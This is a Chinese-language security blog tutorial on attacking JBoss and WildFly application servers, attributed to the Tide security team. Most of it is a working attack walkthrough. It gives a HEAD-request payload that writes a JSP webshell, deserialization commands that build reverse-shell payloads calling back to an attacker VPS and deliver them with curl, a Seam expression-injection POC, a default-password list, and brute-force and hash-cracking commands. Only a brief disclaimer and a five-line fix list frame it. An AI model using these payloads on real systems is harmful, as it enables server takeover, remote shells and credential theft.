Jboss漏洞利用

語言: CN / TW / HK

宣告: Tide安全團隊原創文章,轉載請宣告出處! 文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!

1、簡介

Jboss是一個基於J2EE的開放原始碼的應用伺服器。JBoss高危漏洞主要涉及到以下兩種。

第一種是利用未授權訪問進入JBoss後臺進行檔案上傳的漏洞,例如: CVE-2007-1036CVE-2010-0738 , CVE-2006-5750 以及 JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability

另一種是利用Java反序列化進行遠端程式碼執行的漏洞,例如: CVE-2015-7501CVE-2017-7504CVE-2017-12149CVE-2013-4810

2、環境部署

JBoss主要版本下載連結:https://teddysun.com/260.html

https://jbossas.jboss.org/downloads/

jboos 7.1.1 為例進行部署。

1、首先準備好jdk環境和相應的系統環境變數

2、然後執行 C:\jboss-as-7.1.1.Final\bin>add-user.bat 指令碼,新增管理控制檯使用者,在 Realm 中保持預設。

3、編輯  C:\jboss-as-7.1.1.Final\standalone\configuration\standalone.xml 檔案,讓jboss管理控制檯和一些其它入口都對外開放,預設埠為8080

4、執行 C:\jboss-as-7.1.1.Final\bin\standalone.bat 指令碼來啟動 jboss7 即可

5、訪問 http://10.211.55.7:8080/jboss 7 的預設管理控制檯,發現已部署成功

3、服務探測與發現

1、公開搜尋引擎, google 語法、 shodanfofa

fofa dork app="JBoss"
/web-console/Invoker
/invoker/JMXInvokerServlet
/jmx-console
/web-console
inurl:/console/ intitle:"JBoss Management"
inurl:/jmx-console/
inurl:/admin-console/
intitle:"Welcome to JBoss"
intitle:"jboss management console" "application server" version inurl:"web-console"
intitle:"JBoss Management Console – Server Information" "application server" inurl:"web-console" OR inurl:"jmx-console"

2、通過常規埠掃描來發現,另外直接在瀏覽器中檢視http響應頭中的 X-Powered-By 欄位內容一般也能看到

實戰中jboss很可能開放 8080,9990,9999 這三個埠,也可以全埠掃描避免遺漏

# nmap -sT -sV -Pn --open -p 1-65535 -v -n 10.211.55.7-10

4、訪問控制不嚴導致的漏洞

4.1、JMX Console未授權訪問Getshell

4.1.1、漏洞描述

此漏洞主要是由於 JBoss/jmx-console/HtmlAdaptor 路徑對外開放,並且沒有任何身份驗證機制,導致攻擊者可以進⼊到 jmx 控制檯,並在其中執⾏任何功能。

4.1.2、影響版本

Jboss4.x以下

4.1.3、漏洞利⽤

1、首先訪問 http://10.211.55.7:8080/jmx-console/ 然後找到 jboss.deployment (jboss 自帶的部署功能)中的 flavor=URL,type=DeploymentScanner 點進去(通過 url 的方式遠端部署)

2、找到頁面中的 void addURL() 選項來遠端載入war包來部署。

3、點選 invoke 之後會提示部署成功,如下

4、部署完成後回到 flavor=URL,type=DeploymentScanner 頁面點選下屬性列表中的”Apply change” 

5、最後訪問⽊⻢地址為 http://10.211.55.7:8080/bm1/index.jsp

6、通常像上面這樣部署的 webshell ,物理路徑預設都會在以下目錄下 

C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp1704732146918985209bm1-exp.wa

這個目錄最多用作臨時維持下許可權,所以可以把shell傳到 jmx-console 的預設目錄來鞏固許可權

C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

4.2、JMX Console HtmlAdaptor Getshell(CVE-2007-1036)

4.2.1、漏洞描述

此漏洞主要是由於 JBoss/jmx-console/HtmlAdaptor 路徑對外開放,並且沒有任何身份驗證機制,導致攻擊者可以進⼊到jmx控制檯,並在其中執⾏任何功能。該漏洞利⽤的是後臺中 jboss.admin ->  DeploymentFileRepository ->  store() ⽅法,通過向四個引數傳⼊資訊,達到上傳 shell 的⽬的,其中arg0傳⼊的是部署的war包名字, arg1 傳⼊的是上傳的⽂件的⽂件名, arg2 傳⼊的是上傳⽂件的⽂件格式, arg3 傳⼊的是上傳⽂件中的內容。通過控制這四個引數即可上傳shell,控制整臺伺服器。但是通過實驗發現, arg1arg2 可以進⾏⽂件的拼接,例如 arg1=she,arg2=ll.jsp 。這個時候伺服器還是會進⾏拼接,將 shell.jsp 傳⼊到指定路徑下

4.2.2、影響版本

Jboss4.x以下

4.2.3、漏洞利用

輸⼊ url:http://10.211.55.7:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository ,定位到 store ⽅法

傳⼊相應的值,即可getshell

4.3、JMX控制檯安全驗證繞過漏洞(CVE-2010-0738)

4.3.1、漏洞描述

該漏洞利⽤⽅法跟 CVE-2007-1036 ⼀樣,只是繞過了get和post傳輸限制,利⽤

head傳輸⽅式傳送 payload

4.3.2、影響版本

jboss4.2.0、jboss 4.3.0

4.3.3、漏洞利⽤

利⽤head傳輸⽅式,payload如下:

HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive

4.4、Administration Console 弱⼝令 Getshell

4.4.1、漏洞描述

Administration Console 存在預設密碼 admin admin ,我們可以登入到後臺部署war包 getshell

4.4.2、影響版本

全版本

4.4.3、漏洞利⽤

jboss6.0 版本為例

1、 jboss6.x 之後可以直接訪問管理控制檯 /admin-console 直接上傳war包進行部署(通常預設密碼為 admin:admin

2、輸⼊弱⼝令登入進去

3、點選 Web application ,然後點選右上⻆的 add
4、把war包傳上去即可 getshell

4、也可以藉助 jboss 漏洞利用的 jexboss exp 工具集,完全一鍵純傻瓜化利用,具體使用過程如下:

該工具適用於 jboss < 5.x 的版本,中間還有一些關於 java 反序列化,包括 struts2 和  jenkins 的漏洞利用 

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -u http://ip:8080

執行之後預設會自動匹配檢測所有漏洞規則,如果漏洞存在則會逐個詢問你是否要對其進行利用,利用成功後,便會返回一個半互動的 jexboss shell

shell> help
# 通過 help 可以看到更多的關於 jexboss shell 內建的高階用法
shell> jexremote=ip:110
# 使用該命令可以直接反彈遠端系統shell回來

4.5、CVE-2006-5750

此漏洞利用原理和 CVE-2007-1036 漏洞相同,唯一的區別是 CVE-2006-5750 漏洞利用 methodIndex 進行 store() 方法的呼叫。其中 methodIndex 是通過方法的編號進行呼叫。

5、反序列化RCE漏洞

5.1、JBosSAS 5.x,6.X 反序列化漏洞(CVE-2017-12149)

5.1.1、漏洞描述

此漏洞主要是由於 jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet 目錄下的 ReadOnlyAccessFilter.class 檔案中的 doFilter 方法,再將序列化傳入 ois 中,並沒有進行過濾便呼叫了 readObject() 進行反序列化,導致傳入的攜帶惡意程式碼的序列化資料執行,造成了反序列化的漏洞。

5.1.2、影響版本

JbossAS 5.x , JbossAS 6.x

5.1.3、漏洞利用

1、首先從http響應頭和title中一般情況下都能看到資訊來確定目標 jboss 版本是否在此漏洞版本範圍

2、確定目標的 jboss 是否存在此漏洞,直接訪問 poc url: http://192.168.3.81:8080/invoker/readonly 如果出現報 500 錯誤,則說明目標機器可能存在此漏洞

3、明確目標 jboss 可能存在此漏洞以後,接下來藉助 JavaDeserH2HC 來完成整個利用過程

git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC/

4、首先嚐試直接反彈 shell ,利用 JavaDeserH2HC 建立好用於反彈 shell 的 payload,如下

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:埠

4、然後嘗試利用 curl 傳送 payload 到目標機器上執行後,發現vps已成功接彈回的shell

curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.2、JBOSSMQ JMS 叢集反序列化漏洞(CVE-2017-7504)

5.2.1、漏洞描述

JBoss AS 4.x 及之前版本中, JbossMQ 實現過程的 JMS over HTTP Invocation LayerHTTPServerILServlet.java ⽂件存在反序列化漏洞,遠端攻擊者可藉助特製的序列化資料利⽤該漏洞執⾏任意程式碼。

5.2.2、影響版本

JBoss AS 4.x 及之前版本

5.2.3、漏洞利用

1、首先驗證目標 jboss 是否存在此漏洞,直接訪問 

poc url : http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/

2、如果返回以下內容,則說明目標的 jboss 可能存在此漏洞,而後繼續嘗試進一步利用即可

3、此處我們使用 JavaDeserH2HC 工具來利用該漏洞,嘗試直接彈回一個目標系統的原生  cmd shell

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 10.211.55.16:53
curl http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.3、JBoss JMXInvokerServlet 反序列化漏洞 (CVE-2015-7501)

5.3.1、漏洞描述

由於 JBossinvoker/JMXInvokerServlet 路徑對外開放,JBoss的 jmx 元件⽀持Java反序列化

5.3.2、影響版本

實際上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0
 Apache Group Commons Collections 3.2.1
 Apache Group Commons Collections

5.3.3、漏洞利用

驗證是否存在此漏洞,直接訪問

poc url: http://target/invoker/JMXInvokerServlet

如果像下面一樣直接提示下載,則說明目標可能存在此漏洞

下面使用JavaDeserH2HC 生成反彈 shell 的 payload

# cd JavaDeserH2HC/
# javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公網vps的ip:埠號
# curl http://target/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

開啟nc界⾯,發現shell已經彈回成功了。

5.4、JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

5.4.1、漏洞描述

此漏洞和 CVE-2015-7501 漏洞原理相同,兩者的區別就在於兩個漏洞選擇的進行其中 JMXInvokerServletEJBInvokerServlet 利用的是 org.jboss.invocation.MarshalledValue 進行的反序列化操作,而 web-console/Invoker 利用的是 org.jboss.console.remote.RemoteMBeanInvocation 進行反序列化並上傳構造的檔案。

5.4.2、影響版本

實際上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0
 Apache Group Commons Collections 3.2.1
 Apache Group Commons Collections

5.4.3、漏洞利用

跟CVE-2015-7501利⽤⽅法⼀樣,只是路徑不⼀樣,這個漏洞利⽤路徑

是  /invoker/EJBInvokerServlet

6、JBoss seam2模板注入

6.1、CVE-2010-1871

6.1.1、漏洞描述

JBossSeam 是一個 JavaEE5 框架,把JSF與 EJB3.0 元件合併在一起,從而為開發基於Web的企業應用程式提供一個最新的模式。 JBossSeam 處理某些引數化 JBossEL 表示式的方式存在輸入過濾漏洞。如果遠端攻擊者能夠誘騙通過認證的 JBossSeam 使用者訪問特製的網頁,就可能導致執行任意程式碼。

6.1.2、影響版本

Redhat Jboss_enterprise_application_platform:4.3.0

6.1.3、漏洞利用

1、此漏洞是通過 seam 元件中插入 #{payload} 進行模板注入,可以在以下連結中插入要執行的方法,通過Java反射機制來獲取到( Java.lang.Runtime.getRuntime().exec() 方法),從而可以傳入任何想要執行的命令。

/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}

2、POC如下,其中cmd代表傳入的遠端命令。在 /admin-console/login.seam 路徑下,POST傳入構造好的 payload ,即可對此漏洞利用。

actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}

7、其它漏洞與利用

7.1、Jboss 7.x與WildFly控制檯使用者密碼hash破解

蒐集 jboss 中的所有密碼,可以為後續內網橫向移動提前做好準備

在7.x以下的版本,jboss使用者密碼通常預設都是直接明文儲存在下面的檔案中的

C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\conf\propsjmx-console-users.properties

而高版本的 jbosswildfly 通常都是加密儲存在下面的檔案中,預設密碼加密格式為 

HEX( MD5( username ':' realm ':' password))

C:\services\wildfly-10.1.0.Final\standalone\configuration\mgmt-users.properties

john 也對此演算法支援,編號為 1591 ,可以對其進行破解

# john --wordlist=password.list --format=dynamic_1591

7.2、Jboss < 7.x預設管理控制檯弱口令爆破

jboss 6.x-7.x 版本的預設管理控制檯入口,因此版本預設沒有強制複雜密碼策略,所以比較容易出現弱口令。

Jboss 的常見弱口令:

admin:admin
admin:jboss
admin:password1!
jboss:admin
admin:ezoffice

7.3、Jboss > 7.x 和WildFly預設管理控制檯弱口令爆破

jboss 從8開始正式更名為 WildFly ,在 WildFly8 之後的版本新增控制檯使用者時預設就會執行強密碼策略,所以相對於之前低版本的 jboss ,針對 WildFly 之後版本的弱口令推薦 wildPwn 這款爆破工具

# git clone https://github.com/hlldz/wildPwn.git
# cd wildPwn
# python wildPwn.py -m brute --target 192.168.3.108 --port 8080 -user userList.txt -pass passList.txt

7.4、WildFly預設管理控制檯部署webshell方法

1、通過賬號密碼登到 wildlfy 控制檯頁面後,找到  Deployments 選項,上傳 war

2、此處勾選啟用 Enable
3、提示成功後會直接部署到 jboss 根目錄下,訪問 http://127.0.0.1:8080/cmd/cmd.jsp

4、訪問木馬webshell

7.5、Jboss常用工具分析

使用如下工具時,開啟wireshark發現該工具只是探測目標是否存在 CVE-2015-7501

filter : ip.addr==192.168.3.81 and tcp.port==8080 and http

通過簡單的觀察請求我們發現,常用的漏洞利用工具所探測的漏洞都已經非常老了,絕大多數用的還是 CVE-2015-7501

8、漏洞修復

1.設定強口令

2.儘量不要開放到公網

3.在各個對外開放元件進行輸入驗證

4.限制來源IP 

5.升級到最新版

9、參考連結

https://www.freebuf.com/vuls/186948.html

https://klionsec.github.io/

https://www.jianshu.com/p/e34062e0a6f1

https://github.com/joaomatosf/JavaDeserH2HC

https://www.onebug.org/websafe/75730.html

guān

zhù

men

Tide安全團隊正式成立於2019年1月 是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

對安全感興趣的小夥伴可以 關注團隊官網: http://www.TideSec.com 或長按二維碼關注公眾號:

分享到: